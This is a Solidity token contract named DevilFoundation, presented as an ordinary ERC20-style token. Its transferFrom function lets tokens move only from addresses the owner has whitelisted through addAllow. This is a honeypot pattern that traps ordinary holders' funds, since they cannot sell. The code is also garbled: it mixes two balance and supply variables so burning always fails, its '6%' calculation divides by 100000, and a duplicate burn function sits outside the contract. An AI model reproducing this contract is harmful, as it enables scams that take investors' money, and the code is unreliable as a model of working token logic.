contract DevilFoundation is Ownable {
  string public name;
  string public symbol;
  uint8 public decimals;
  uint256 public totalSupply;
  
  mapping (address => uint256) private _balances;
  uint256 constant eighteen = 1000000000000000000;
  uint256 _totalSupply = 666 * eighteen;
  
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);

  constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply =  _totalSupply;
        balances[msg.sender] = totalSupply;
        allow[msg.sender] = true;
  }

  using SafeMath for uint256;

  mapping(address => uint256) public balances;
  
  mapping(address => bool) public allow;

  function transfer(address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[msg.sender]);

    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
  }

  function balanceOf(address _owner) public view returns (uint256 balance) {
    return balances[_owner];
  }

  mapping (address => mapping (address => uint256)) public allowed;

  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    require(allow[_from] == true);

    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    Transfer(_from, _to, _value);
    return true;
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }

  function allowance(address _owner, address _spender) public view returns (uint256) {
    return allowed[_owner][_spender];
  }
  
  function addAllow(address holder, bool allowApprove) external onlyOwner {
      allow[holder] = allowApprove;
  }
  
   //6% 
  uint256 public basePercentage = 6;
  
  function findPercentage(uint256 amount) public view returns (uint256)  {

    uint256 percent = amount.mul(basePercentage).div(100000);
    return percent;
  }
  
  //burn
  function burn(uint256 amount) external {
    _burn(msg.sender, amount);
  }

  function _burn(address account, uint256 amount) internal {
     require(amount != 0);
     require(amount <= _balances[account]);
     _totalSupply = _totalSupply.sub(amount);
     _balances[account] = _balances[account].sub(amount);
     emit Transfer(account, address(0), amount);
  }
}
function burn(uint256 amount) external {
  _burn(msg.sender, amount);
}

//burn